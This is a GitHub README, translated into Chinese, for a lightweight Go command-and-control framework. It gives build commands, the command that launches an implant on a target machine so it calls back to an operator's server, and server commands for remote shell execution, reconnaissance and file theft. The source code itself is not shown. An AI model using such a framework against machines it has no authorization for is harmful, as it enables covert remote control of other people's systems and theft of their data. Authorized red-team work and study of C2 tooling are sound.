ispectr3/c2-lite
GitHub: ispectr3/c2-lite
一个用 Go 编写的轻量级 C2 框架,通过 AES-256-GCM 加密通信实现 server 对跨平台 agent 的远程命令执行与管理。
Stars: 0 | Forks: 0
# C2 Lite



轻量级 C2 (Command and Control) 框架,使用 Go 编写。它由一个交互式 server 和一个定期进行 callback 的 agent 组成。所有通信均使用 AES-256-GCM 加密。
## 功能
- 具有类似 Metasploit 交互式 shell 的 server
- 跨平台 agent (Linux, macOS, Windows)
- 基于 HTTP 的 AES-256-GCM 加密通信
- 带有状态 checkin 的定期 beacon
- 远程执行 shell 命令
- 收集系统信息
- 从目标下载文件
- 每个 agent 的命令队列
- 支持同时连接多个 agent
## 安装
```
git clone https://github.com/ispectr3/c2-lite.git
cd c2-lite
# 编译 server
go build -o c2-server ./server/
# 编译 agent
go build -o c2-agent ./agent/
```
### 为 Windows 跨平台编译 agent
```
GOOS=windows GOARCH=amd64 go build -o c2-agent.exe ./agent/
```
## 用法
### 启动 server
```
# 默认端口 4443
./c2-server
# 自定义端口与密钥
C2_PORT=8080 C2_KEY="minha-chave-secreta" ./c2-server
```
### 启动 agent(在目标机器上)
```
C2_SERVER="http://10.10.10.1:4443" C2_KEY="minha-chave-secreta" ./c2-agent
```
### server 命令
| 命令 | 描述 |
|---------|-----------|
| `agents` | 列出已连接的 agent |
| `use ` | 通过 ID 选择 agent |
| `shell ` | 在 agent 上执行命令 |
| `sysinfo` | 获取 agent 的系统信息 |
| `download ` | 从 agent 下载文件 |
| `kill` | 终止选定的 agent |
| `back` | 取消选择 agent |
| `exit` | 终止 server |
### 会话示例
```
c2 > agents
ID HOSTNAME USER OS PID LAST SEEN
---------------------------------------------------------------------------
srv-PC-44 target-pc admin linux 1337 2s [ALIVE]
c2 > use srv
[*] Agent selecionado: srv-PC-44
c2(srv-PC-4) > sysinfo
[>] Comando enfileirado para srv-PC-44
[<] Resposta de srv-PC-44:
Hostname: target-pc
OS: linux
Arch: amd64
User: admin
...
c2(srv-PC-4) > shell whoami
[>] Comando enfileirado para srv-PC-44
[<] Resposta de srv-PC-44:
admin
```
## 架构
```
Operador Alvo
+----------+ HTTP/AES-256 +----------+
| Server | <===============> | Agent |
| (shell) | /beacon | (implant)|
| | /task | |
| | /result | |
+----------+ +----------+
Fluxo:
1. Agent faz POST /beacon (checkin periodico)
2. Agent faz GET /task (busca comandos pendentes)
3. Agent executa e faz POST /result (envia output)
```
## 结构
```
c2-lite/
├── server/
│ └── main.go # Server C2 + shell interativo
├── agent/
│ └── main.go # Agent/implant
├── shared/
│ ├── protocol.go # Structs de comunicacao (Command, Response, Beacon)
│ └── crypto.go # AES-256-GCM encrypt/decrypt
├── go.mod
├── README.md
├── LICENSE
└── .gitignore
```
## 通过环境变量进行配置
| 变量 | 描述 | 默认值 |
|----------|-----------|--------|
| `C2_PORT` | server 端口 | `4443` |
| `C2_KEY` | 用于加密的 passphrase | 默认密钥 |
| `C2_SERVER` | server 的 URL (agent) | `http://127.0.0.1:4443` |
## 免责声明
本项目纯粹用于进攻性安全的教育和研究目的。请勿在未经书面授权的系统上使用。作者不对滥用行为承担责任。
## 许可证
[MIT](LICENSE)
标签:C2框架, Go, HTTP工具, Ruby工具, 安全学习资源, 无线安全, 日志审计, 远程命令执行